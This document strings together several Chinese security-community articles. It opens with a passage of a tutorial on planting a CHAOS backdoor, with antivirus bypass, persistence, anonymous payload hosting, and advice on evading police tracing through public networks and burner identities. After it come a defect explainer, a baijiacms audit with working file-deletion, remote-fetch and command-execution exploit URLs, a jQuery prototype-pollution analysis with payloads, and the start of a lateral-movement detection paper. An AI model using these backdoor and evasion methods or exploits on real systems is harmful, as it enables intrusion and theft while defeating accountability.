监听的本地端口写4444，因为我们刚才转发的就是本机4444端口作为监听端口,至此后门布置完成，也就是你的鱼竿和鱼钩已经准备好了，
【鱼饵】接下来就是放置鱼饵：
后门在chaos的目录下面，我们把它通过洋葱路由上传到网络空间，
上传好以后就会有下载链接，这一步就不赘述了：
使用洋葱路由就是为了匿名化，当然这个网络空间对于国内用户可能会网速过慢或者下载不成功，所以我这里也建议你做好跳板以后利用exp或者你自己的0day1day刷一些服务器选择一台合适的服务器作为网络空间(针对目标的地区选择，考虑法律因素和该地区监管追查能力)，但原则是隐藏好自己，可以多利用非本土的网络和公共的网络(无cctv录像监控，将移动电脑放进书包不要电脑包，或者直接使用公共无监管电脑，公共wifi，甚至是黑网吧人流大而杂的网络区域，使用live系统，加密你的硬盘等等这些在本篇不做赘述)进行，所以这一步就是将后门放置在公共网络空间[http://公共空间/后门.exe](http://%E5%85%AC%E5%85%B1%E7%A9%BA%E9%97%B4/%E5%90%8E%E9%97%A8.exe)
我们先来看一下当受害人执行了后门以后的利用：
help可以看到这款后门可以进行的操作：
你可以看到受害者机器是我的win10专业版64位的电脑，当然光从这里我只能看出win10，其它是我自己知道的：
我们可以执行上传或者下载以及打开url和将后门添加到启动项的操作进行持久的访问，
这样等受害者机器重启也就可以获得持续的权限，我的机子装了防护软件是腾讯管家，特效全开病毒库最新，所以是不是咱们不小心把绕过杀软的技巧也一并get了呢，接下来我们在腾讯管家的流量防火墙看看tcp连接信息：
我构建的木马名称是explorer.exe，可以看到连接的流量是在美国的服务器上，通过这样的转发攻击的过程就显的隐蔽多了。
手笨，没咋写过文章，这篇文章花了大概两个多小时，哈哈也算比较用心了，希望你们能喜欢，在这么久的时间段我将后门再次放入查杀检测，结果如下
接下来是附送的彩蛋，只可意yi会kan不jiu可dong言传：
word宏利用
github:
<https://github.com/flagellantX/wordexploit/blob/master/coding>
浏览器插件攻击：
利用hfs+ngrok构建一个建议的网络服务器
受害者访问该url后会自动下载执行后门，图中测试的是我构造的一段exp，写文章的时候测试点开把整个机子都搞奔溃了，万幸浏览器恢复文章没丢，不然近三个小时的磕碰手打就没了。
github:
<https://github.com/flagellantX/BrowserKiller.git>
匿名邮件：<http://www.yopmail.com/en/>
你写入一个名字以后就可以利用它收发邮件，通过洋葱浏览器使用它，这样子的话不容易通过邮箱反追踪。
匿名网上冲浪和洋葱共享：
需要linux机器的ip是墙外ip（那种软件用一下）
(<https://www.parrotsec.org/download-full.fx>)
将需要共享的文件拖入后会生成一个洋葱链接即完成。
电话号：
(<https://www.textnow.com/signup>)
(<https://mytemp.email/>)
(<https://www.allareacodes.com/area_code_listings_by_state.htm>)
利用匿名邮箱完成注册
选择一个区号填入注册你的号码
完成
##
渗透测试环境系统和平台:
VMware Download:
<https://www.vmware.com/products/workstation-pro.html>
VirtualBox Download:
<https://www.virtualbox.org/wiki/Downloads>
Kali Linux Download:
<https://www.kali.org/downloads/>
DVWA/Metasploitable:
<https://sourceforge.net/projects/metasploitable/files/Metasploitable2/>
bWAP Download:
<https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/>
Windows 10 Download:
<https://www.microsoft.com/en-us/software-download/windows10>
* * *
补充：
文中涉及到的url点击攻击别忘了使用链接缩短或者结合xss的伪装欺骗。
持续控制并将木马添加到了启动项，如果重新配置环境会丢失shell的话，提供一个办法就是使用完kali以后将它挂起，这样第二次使用就都还在了，想要真正的持续访问你需要改一些东西太复杂了下次文章说啦。
朋友跟我反映CHAOS不可以控制多个机器，我提供一个办法就是生成后门的时候不同机器针对不同端口，例如A机器监听4444，B机器的后门重新生成，监听5555，的确是有些繁琐，不太适用于那些功能强大的RAT点对点多台控制。
这次实施的模拟攻击，我把鱼竿选择了CHAOS框架，我今晚都在关注它的绕过杀软能力和持久性，大致总结一下我观察到的后门特点：
每次生成的后门当下可以[未知]风险的身份绕过腾讯管家全特效
报毒后不进行主动扫描并不会被查杀
主动扫描后清除了后门任然没有丢掉权限可以执行任何提权命令
重点是再次全盘扫描后提示本机无毒
本次测试的安全防护软件有腾讯管家和国外的科摩多均无法检测出此后门，但是在360卫士云查杀下该后门会被检测出。
结语：文章不够直观的话我会做视频教程在我的微博[@flagellantX](https://github.com/flagellantX
"@flagellantX")，如果文章中有错误和不足可以直接指出，可喷可踩，但是有好的攻击思路和更好的利用模式以及匿名技巧等等这些都可以跟我交流，我非常欢迎你跟我一起探讨共同进步。 | 社区文章 |
# 【缺陷周话】第41期：忽略返回值
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、忽略返回值
一些函数具有返回值且返回值用于判断函数执行的行为，如判断函数是否执行成功，因此需要对函数的返回值进行相应的判断，以 fgets() 函数为例，其原型为：
char fgets(char buf, int bufsize, FILE *stream);
如果函数执行成功，则返回第一个参数 buf；如果发生错误，则返回
NULL，如果没有对函数返回值进行检测，那么当读取发生错误时，则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。
详细请参见：CWE-252: Unchecked Return Value。
## 2、忽略返回值的危害
忽略函数返回值会导致未定义的行为，包括信息泄露、拒绝服务、甚至程序崩溃等。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年6月，CVE中就有34条相关漏洞信息。漏洞信息如下：
## 3、示例代码
示例源于SamateJuliet Test Suite for C/C++ v1.3
([https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE252_Unchecked_Return_Value__char_fgets_01.c。](https://samate.nist.gov/SARD/testsuite.php\)%EF%BC%8C%E6%BA%90%E6%96%87%E4%BB%B6%E5%90%8D%EF%BC%9ACWE252_Unchecked_Return_Value__char_fgets_01.c%E3%80%82)
### 3.1 缺陷代码
在上述示例代码中，第33行使用 fgets() 函数从标准输入流中读取数据，但没有对 fgets() 的返回值进行检测，因此存在“忽略返回值”问题。
使用代码卫士对上述示例代码进行检测，可以检出“忽略返回值”缺陷，显示等级为中。如图1所示：
图1：忽略返回值检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为： 在第33行对 fgets() 函数的返回值是否为NULL 进行了判断，当返回值为 NULL
时程序终止，从而避免了“忽略返回值”问题。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“忽略返回值”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免忽略返回值
（1）对函数返回值进行恰当的判断，避免当函数执行异常后可能带来的风险。
（2）使用源代码静态分析工具，可以有效发现这类问题。 | 社区文章 |
## 环境搭建
源码下载：<https://gitee.com/openbaijia/baijiacms.git>
放入PHPstudy，建一个baijiacms的数据库，访问进行安装，设置管理员用户和密码为admin、admin；
## 审计准备
**查看网站目录结构**
**Seay源代码审计系统扫描**
## 任意路径删除
### 代码分析
点进这个漏洞查看代码；
**/includes/baijiacms/common.inc.php**
(520-547)：
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))
{
$file_list= scandir($path);
foreach ($file_list as $file)
{
if( $file!='.' && $file!='..')
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/')
{
@rmdir($path);
}
}
else
{
@unlink($path);
}
}
绕过`$path`是路径，就删除这个路径，是文件就删除这个文件；
全局搜索`rmdirs`，发现`/system/menager/class/web/database.php`调用了这个函数(246-255)：
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功！', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
功能是删除备份文件，但是只判断是否为路径，并没有验证是什么路径，所以可以抓包修改为任意路径，从而删除任意路径下的文件；
### 漏洞复现
再根目录下建一个test文件夹，进入后台备份与还原页面，点击删除，抓包；
将id的内容修改为要删除的test文件夹的路径`../../test`的base64编码`Li4vLi4vdGVzdA==`，Go，删除成功；
##
任意文件删除
### 代码分析
**/system/eshop/core/mobile/util/uploader.php**
(46-50)：
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
获取到`$file`参数，调用`file_delete`函数，跟踪到`/includes/baijiacms/common.inc.php`(695-734)：
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
`$settings['system_isnetattach']`是附件设置页面中的远程附件选择，有本地、FTP、OSS，我选择的是本地；
直接到达最后一个else，进行`if_file`判断，然后执行`unlink`删除文件；
### 漏洞复现
在根目录下建一个test.txt，构造url访问：
`http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt`
成功删除；
## 远程文件上传
## 代码分析
**/system/public/class/web/file.php**
(18-26)：
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
传入url，调用`fetch_net_file_upload()`函数，跟踪到`/includes/baijiacms/common.inc.php`(613-616)：
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
用`pathinfo`把文件路径以数组形式返回，且只返回extension，即扩展名；
路径拼接年月，创建路径；随机数和扩展名拼接为文件名；
将读取的文件写入拼接生成的路径下，最后，返回路径信息；
### 漏洞复现
在远程服务器上建一个test.php，内容是`<?php echo "<?php phpinfo();";`；
构造url：
`http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php`
访问获得写入的路径；
访问该路径，写入成功；
## 远程命令执行
### 代码分析
**/system/weixin/class/web/setting.php**
(20-40)：
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
也是`pathinfo`获取扩展名，进行判断，调用`file_save`函数，跟踪到`/includes/baijiacms/common.inc.pphp`(637-655)：
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
.....
.....
}
`$settings['image_compress_openscale']`即附件设置页面的是否开启图片压缩功能；
经过判断后，system执行上传的文件，导致RCE；
### 漏洞复现
本地创建一个名称为命令的txt文件；
找到上传页面进行上传，提交；
执行成功； | 社区文章 |
# 前置知识
## JavaScript的类与实例
在`JavaScript`中, 构造函数相当于类, 且可以将其实例化. 如果要定义一个类, 需要以定义构造函数的方式来定义. 在`JavaScript`中,
通过`new`关键词或`Object.create()`方法来进行对象实例的创建.
function Func() {
this.demo = 1;
}
var func = new Func();
## JavaScript的prototype与 **proto**
### 原型对象prototype
所有的`JavaScript`对象都会从一个原型对象`prototype`中继承属性和方法,
`JavaScript`的每一个函数/类都有一个`prototype`属性, 用来指向该构造函数的原型.
例如前面的`Func`函数, 其`prototype`属性指向了该构造函数的原型本身.
### **proto** 属性
`JavaScript`的每一个实例对象都有一个`__proto__`属性指向该实例对象的原型. 例如前面的`Func`函数,
其实例对象`func`就有`__proto__`属性, 访问该属性可知是指向`func`这个实例对象的原型的.
### 总结
实例对象由函数生成, 实例对象的`__proto__`属性是指向函数的`prototype`属性的.
且在调用过程中, 无论是调用实例对象的`__proto__`属性, 还是调用构造函数/类的`prototype`属性,
它们均有一个`__proto__`属性指向`Object`, 而再往下调用`__proto__`属性就是调用`Object.__proto__`,
其值为`null`.
# JavaScript原型链继承
## 原型链
原型链: 由于`__proto__`是任何`JavaScript`对象都有的属性, 而`JavaScript`中万物皆对象,
因此会形成一条`__proto__`连起来的链, 递归访问`__proto__`直至到终点即值为`null`.
上文中用到的`Func`构造函数和`func`实例对象的原型链如下:
func -> Func.prototype -> Object.prototype -> null
数组的原型链:
array -> Array.prototype -> Object.prototype -> null
日期的原型链:
data -> Date.prototype -> Object.prototype -> null
函数的原型链:
func -> function.prototype -> Object.prototype -> null
原型链的结构图如下图所示:
这里`func`是实例对象, `Func.prototype`是原型, 原型通过`__proto__`访问原型对象,
实例对象继承的就是原型及其原型对象的属性.
## 继承的查找过程
调用对象属性时会查找属性, 如果本身没有，则会去`__proto__`中查找, 也就是构造函数的显式原型中查找, 如果构造函数中也没有该属性,
因为构造函数也是对象, 也有`__proto__`, 那么会去`__proto__`的显式原型中查找, 一直到`null`,
这一过程很好的说明了原型才是继承的基础. 例如如下代码, `Son`类继承了`Father`类的`last_name`属性, 最后输出的是`Name:
Lisa Alpha`.
function Father() {
this.first_name = 'Tome'
this.last_name = 'Alpha'
}
function Son() {
this.first_name = 'Lisa'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
对于对象`son`在调用`son.last_name`的时候, 实际上`JavaScript`引擎会进行如下操作:
* 在对象`son`中寻找`last_name`.
* 如果找不到, 则在`son.__proto__`中寻找`last_name`.
* 如果仍然找不到, 则继续在`son.__proto__.__proto__`中寻找`last_name`.
* 依次寻找, 直到找到`null`结束. 比如, `Object.prototype`的`__proto__`就是`null`.
# JavaScript原型链污染机制
在`JavaScript`中访问一个对象的属性可以用`param1.param2.param3`或者`praram1["param2"]["param3"]`来访问.
由于对象是无序的, 当使用第二种方式访问对象时, 只能使用指明下标的方式去访问.
因此我们可以通过`param1["__proto__"]`的方式去访问其原型对象. 原型链污染一般会出现在对象或数组的键名或属性名可控,
而且是赋值语句的情况下.
在实际应用场景中, 当攻击者控制并修改了一个对象的原型, 那么将可以影响所有和这个对象来自同一个类、父祖类的对象, 这种攻击方式就是原型链污染.
从代码层面上来理解原型链污染机制, 代码如下所示:
function Func() {
this.param = 1;
}
var func = new Func();
console.log(func.param);
func.__proto__.__proto__["params"] = 2;
var funcs = new Func();
console.log(funcs.params);
# JavaScript原型链污染应用场景
在上文中说到了, 原型链污染一般会出现在对象或数组的键名或属性名可控, 而且是赋值语句的情况下. 因此, 一般可以设置`__proto__`值的场景,
即能够控制数组(对象)的键名的操作的场景中容易出现`JavaScript`原型链污染. 这里主要有以下两种:
* 对象`merge`, 即合并数组对象的操作.
* 对象`clone`, 内核中就是将待操作的对象`merge`到一个空对象中.
以对象`merge`为例, 参考[P神文章](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#:~:text=%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E3%80%82-,0x04%20%E5%93%AA%E4%BA%9B%E6%83%85%E5%86%B5%E4%B8%8B%E5%8E%9F%E5%9E%8B%E9%93%BE%E4%BC%9A%E8%A2%AB%E6%B1%A1%E6%9F%93%EF%BC%9F,-%E5%9C%A8%E5%AE%9E%E9%99%85%E5%BA%94%E7%94%A8)中用到的`merge`函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
其在合并的过程中, 存在赋值的操作`target[key] = source[key]`. 因此,
当控制`target`的键`key`为`__proto__`时就能对原型链进行污染. 示例`Payload`如下所示:
let demo1 = {};
let demo2 = {name : 'h3', "__proto__" : {age : 20}};
merge(demo1, demo2);
console.log(demo1.name, demo1.age);
let demo3 = {};
console.log(demo3.name, demo3.age);
可以看到该`Payload`并未污染成功, 这是因为, `JavaScript`创建`demo2`的过程中, `proto`已经代表`demo2`的原型,
此时遍历`demo2`的所有键名时, 拿到的是`[name, age]`, `proto`并不是一个`key`, 自然也不会修改`Object`的原型.
此时, 需要将`demo2`实例对象那部分改为`JSON`格式, 修改后的`Payload`如下:
let demo1 = {};
let demo2 = JSON.parse('{"name" : \"h3\", "__proto__" : {"age" : 20}}');
merge(demo1, demo2);
console.log(demo1.name, demo1.age);
let demo3 = {};
console.log(demo3.age);
可以看到, 新建的`demo3`对象, 也存在`age`属性, 说明`Object`已经被污染了. 这是因为, `JSON`解析的情况下,
`__proto__`会被认为是一个真正的"键名", 而不代表"原型", 所以在遍历`demo2`的时候会存在这个键.
`merge`操作是最常见可能控制键名的操作, 也最能被原型链攻击, 很多常见的库都存在这个问题.
# CVE-2019-11358漏洞分析
## 漏洞信息
`CVE-2019-11358`原型污染漏洞: `3.4.0`版本之前的`jQuery`存在一个原型污染漏洞, 由攻击者控制的属性可被注入对象,
之后或经由触发`JavaScript`异常引发拒绝服务, 或篡改该应用程序源代码从而强制执行攻击者注入的代码路径.
`PoC`如下:
$.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}'))
console.log(exploit);
## 漏洞分析
查看`3.3.1`版本的`JQuery`源码, 漏洞点在在`src/core.js`文件中的`extend`函数.
如果该函数的第一个参数为布尔型的`true`, 合并操作就是深拷贝模式.
jQuery.extend = jQuery.fn.extend = function() {
var options, name, src, copy, copyIsArray, clone,
target = arguments[ 0 ] || {},
i = 1,
length = arguments.length,
deep = false;
// Handle a deep copy situation
if ( typeof target === "boolean" ) {
deep = target;
// Skip the boolean and the target
target = arguments[ i ] || {};
i++;
}
......
};
经过`if`函数判断后, 进入`for`循环, `options`取传入的参数`arguments[i]`,
接着将`options`遍历赋值给`copy`, 即`copy`外部可控.
for ( ; i < length; i++ ) {
// Only deal with non-null/undefined values
if ( ( options = arguments[ i ] ) != null ) {
// Extend the base object
for ( name in options ) {
src = target[ name ];
copy = options[ name ];
......
}
}
}
接着判断`copy`是否是数组, 若是, 则调用`jQuery.extend()`函数, 该函数用于将一个或多个对象的内容合并到目标对象,
这里是将外部可控的`copy`数组扩展到`target`数组中; 若`copy`非数组而是个对象,
则直接将`copy`变量值赋值给`target[name]`.
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
( copyIsArray = Array.isArray( copy ) ) ) ) {
if ( copyIsArray ) {
copyIsArray = false;
clone = src && Array.isArray( src ) ? src : [];
} else {
clone = src && jQuery.isPlainObject( src ) ? src : {};
}
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy );
// Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}
此时, 如果将`name`设置为`__proto__`, 则会向上影响`target`的原型, 进而覆盖造成原型污染.
而`target`数组时取传入的参数`arguments[0]`: `target = arguments[ 0 ] || {}`.
`target`变量可以通过外部传入的参数`arguments`数组的第一个元素来设置`target`数组的键`name`对应的值为`__proto__`,
而`options`变量可通过外部传入的参数`arguments[i]`进行赋值, `copy`变量又是由`options`遍历赋值的,
进而导致`copy`变量外部可控, 最后会将`copy`合入或赋值到`target`数组中, 因此当`target[__proto__] =
外部可控copy`时, 即存在原型污染漏洞.
## 漏洞复现
var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}'));
console.log({}.exploit);
## 漏洞修复
`jQuery`在`3.4.0`版本里修复了该漏洞, 通过判断属性中是否有`__proto__`, 如果有就跳过, 不合并.
# 参考
* [深入理解 JavaScript Prototype 污染攻击](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript)
* [jQuery CVE-2019-11358 原型污染漏洞分析和修复建议](https://www.anquanke.com/post/id/177093) | 社区文章 |
# 【技术分享】如何检测Windows中的横向渗透攻击
|
##### 译文声明
本文是翻译文章，文章来源：europa.eu
原文地址：<http://cert.europa.eu/static/WhitePapers/CERT-EU_SWP_17-002_Lateral_Movements.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：300RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
**横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术，特别是在高级持续威胁（Advanced Persistent
Threats，APT）中更加热衷于使用这种攻击方法。**
攻击者可以利用这些技术，以被攻陷的系统为跳板，访问其他主机，获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息，进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击，攻击者最终可能获取域控的访问权限，完全控制基于Windows系统的基础设施或与业务相关的关键账户。
在这份白皮书中，我们向大家介绍了如何在Windows Vista/7以及Server
2008系统中检测基于NTLM和Kerberos协议的横向渗透攻击。Windows
10引入了许多额外的安全机制，因此我们准备单独发布另一份白皮书，介绍如何检测Windows 10中的横向渗透攻击。
微软发布过一篇文章，文中介绍了凭证窃取攻击的相关资料以及如何防范这类攻击。除了本文介绍的防御措施之外，我们强烈建议大家根据微软给出的建议对系统进行加固。需要注意的是，这类攻击不仅仅针对Windows系统，其他的基础设施（如使用Kerberos的UNIX环境或单点登录环境）也会受到类似攻击的影响。虽然本文仅仅针对Windows系统提出了检测横向渗透攻击的方法，大家可以举一反三，在保存适当日志的其他环境中使用类似方式检测横向渗透攻击。
此外，感谢微软MSRC（Microsoft Security Response Center，微软安全响应中心）对本文内容的校对和细节验证。
**二、背景**
**2.1 什么是Windows横向渗透攻击**
在本文中，横向渗透攻击指的是攻击者以某台Windows主机为跳板，利用已窃取的某个账户（如普通用户或服务账户）的有效凭证，建立到目标Windows主机的连接。
源主机通常是目标Windows环境中的一台已被攻陷的主机。在大多数情况下，攻击者会通过包含恶意附件的钓鱼邮件或恶意网站链接，攻陷第一台主机作为跳板。一旦攻击成功，攻击者通常会通过命令控制（Command-and-Control，C2）服务器以及反弹的shell控制目标主机。权限提升成功后，攻击者可以提取存储在源主机中的凭证信息，开展后续的横向渗透攻击，其中包括：
**1、获取源主机的凭证信息**
攻击者可以通过定制工具，访问Windows凭证存储区或内存，以获取任何有效的凭证信息（键盘记录器也可以完成相同任务，但这不在本文的讨论范围内）。本文只讨论与NT哈希和Kerberos凭证有关的内容。
攻击者可能会获取到被攻陷源主机中保存的任何凭证，比如那些正在使用的凭证、曾经使用过的凭证（比如已缓存的凭证）以及内存中尚未清除的凭证（未安装更新时）。攻击者最感兴趣的是目标环境中的高权限账户凭证，比如帮助台（help-desk）账户、域管、高权限服务账户以及本地管理员账户，如果密码被重复使用或者密码生成算法是可预测的，那么攻击环境就更加理想。
**2、通过窃取的凭证访问其他主机或资源**
成功窃取凭证后，攻击者可以使用这些凭证访问其他资源，比如其他主机或服务器（例如Exchange邮箱账户）。攻击者所使用的技术包括基于NT哈希的哈希传递（pass-the-hash，以下简称PtH）攻击以及基于Kerberos票据的票据传递攻击（pass-the-ticket，以下简称PtT）。读者可以参考附录B中的[1][2][3]，了解这些攻击的更多细节。
以下是有关凭证窃取和重放攻击的一些说明：
1、任何用户访问被攻陷的主机后，都可能在其内存中留下凭证信息，在未及时安装补丁时，相关凭证会被攻击者导出。Windows之所以在内存中缓存这些凭证，主要是为了提供诸如单点登录（single-sign-on）的功能，在这种场景下：
（1）在受限管理模式下使用Network Logon或RDP方式登录被控主机时，用户账户凭证不会被泄露。
（2）其他登录方式会暴露账户凭证，包括本地账户、域账户以及服务账户在内的凭证都会受到影响。读者可以参考本文2.3节内容了解更多细节。
2、受影响的凭证不仅仅包括明文的用户名和密码，还包括NT哈希、Kerberos票据以及Kerberos密钥，这些凭证可以被攻击者用来请求Kerberos
TGTs（Ticket Granting Ticket），作为有效凭证开展横向渗透攻击。
3、攻击者需要管理员权限以访问本地Windows凭证存储区或内存中的凭证信息（例如Windows安全账户管理器、凭证管理器或者本地安全授权子系统服务进程（及LSASS.exe）中存储的凭证）。如果当前账户权限较低，攻击者可以通过本地提权漏洞获取高权限。
4、横向渗透攻击的目标不单单是另一个工作站，也可以是其他资源，比如Exchange服务器上的邮箱或业务系统。
5、横向渗透攻击使用的是标准的协议，比如Kerberos和NTLM协议，这样一来我们无法通过创建单条Windows事件或网络入侵检测系统（IDS）规则来检测这类攻击。
6、横向渗透攻击的一个优点就是攻击者可以抓取凭证信息并在后续攻击中使用。
7、不仅仅只有Windows会受到横向渗透攻击影响，其他使用单点登录的身份认证协议都会面临相同问题。任何单点登录解决方案都需要以某种有效的方式保存凭证信息，以便在其他服务的认证过程中可以重复使用这些凭证。
**2.2 使用横向渗透攻击的典型APT场景**
通常情况下，APT攻击会不断从某个工作站连接到另一个工作站，以获取越来越高的账户权限，直到他们得到域管账户的凭证为止。接下来攻击者通常会访问域控，导出Windows域中的所有凭证。
APT中使用横向渗透攻击的典型场景如下图所示：
图1. APT攻击中使用横向渗透攻击的典型场景
**2.3 凭证缓存**
就如上文所述，当用户使用RDP方式连接工作站（RestrictedAdmin模式除外），或者在工作站中使用runas命令时，包括域用户或者域管在内的凭证信息都会缓存在工作站的内存中。
以某个典型场景为例，当前有某个user1账户已经登录到某台主机中，此时另一个user2账户（管理员）正在登陆同一台主机。在这种情况下，user2在主机中缓存的票据不仅对user1而言是可见的，对已经掌握该主机控制权的攻击者而言也是可见的。user2在当前主机中缓存的Kerberos
TGT票据情况如下表所示：
注：
[1] 如果user2正确注销，则远程主机上不会保存票据信息。
[2] 如果远程会话没有被正确关闭，那么user2的票据就会保留在远程主机中。
[3] 右键菜单中以管理员身份（user2）运行cmd.exe.
[4] 使用的是已缓存的域密码，比如没有接入域环境的笔记本电脑就属于这种场景。
[5] 在以user2身份运行的命令提示符中，使用“net use”命令。
[6] 使用“net use \targetc$”命令，在弹出的对话框中输入user2凭证信息。
[7]
在域控的日志中会包含4768事件，但有趣的是user2的TGT票据并不会被缓存，相反的是，本地主机内存中会保存user1的一个CIFS服务票据，以便访问共享文件夹。
需要注意的是，我们并没有测试所有的登录类型，但在某些场景下，高权限用户（如user2）还是可以访问工作站主机。微软给出了一份更详尽的资料，梳理了哪些可复用的凭证信息会暴露在目标主机中。
上表中，在Windows系统中，右键使用的“以管理员身份运行”功能时（会弹出UAC窗口），用户会得到管理员所有的访问令牌。如果管理员使用runas命令运行某个应用程序（如cmd.exe），情况会有所不同，具体情况如下：
1、右键使用“以管理员身份运行”运行应用程序时，程序退出后，已缓存的NT哈希以及票据仍然会保留在内存中；
2、使用“runas /user:\domuser2”命令时，程序退出后，内存中的凭证会被清除。
有趣的是，在最后一种场景中（即交互式登录后，以管理员身份运行），netlogon服务并不需要重新输入密码！
对于上表的测试用例，有几点情况需要说明：
1、所有的测试都基于非特权的交互式会话（即使用user1的控制台登录）。
2、网络登录状态没有永久保持。
3、委派功能打开和关闭的情况下，我们都做了测试。
4、在注销测试中，不管注销过程中目标账户会话是被正确关闭还是被保留，测试结果都不变。
**2.4 哈希传递与票据传递**
横向渗透测试中，使用哈希传递（Pass-the-Hash，以下简称PtH）或者票据传递（Pass-the-Ticket，以下简称PtT）时，情况会有所不同，具体如下表所示：
有几个结论比较有趣，如：
1、攻击者需要管理员权限以窃取凭证，但不需要管理员权限就能使用Kerberos票据。
2、密码更改并不会导致Kerberos票据失效。
**三、检测Windows中的横向渗透攻击**
**3.1 通用法则**
合法的SMB连接与使用PtH和PtT攻击建立的连接并没有什么不同。事实上，攻击者发动这类攻击时并没有利用协议的漏洞，因此，我们没有预先定义的规则来检测此类攻击。
然而，攻击者的攻击行为会存在某些异常特征。例如，如果某个域管账户（如my-admin）只能在某台特定的工作站中使用，那么在其他工作站中使用这个域管账户就显得非常可疑，意味着域环境中可能存在横向渗透攻击。
因此，我们有可能能通过监控Windows事件检测横向渗透攻击。
我们用来检测攻击的主要法则为：
“如果检测到用户账户来自于不正常或非授权系统，或者在不正常或非授权系统中使用，我们判断这种情况下存在横向渗透攻击”。
我们需要注意以下几点：
1、这条法则并不能覆盖所有的横向渗透攻击（某些特权账户的使用检测起来比较困难）。因此，我们需要维护一张包含合法的“用户/工作站/IP地址”三元组的列表，检测不在此表中的账户使用情况。此外，单独使用三元组列表并不能检测所有的攻击场景（比如，攻击者发起的来自合法的用户/工作站的资源访问请求）。
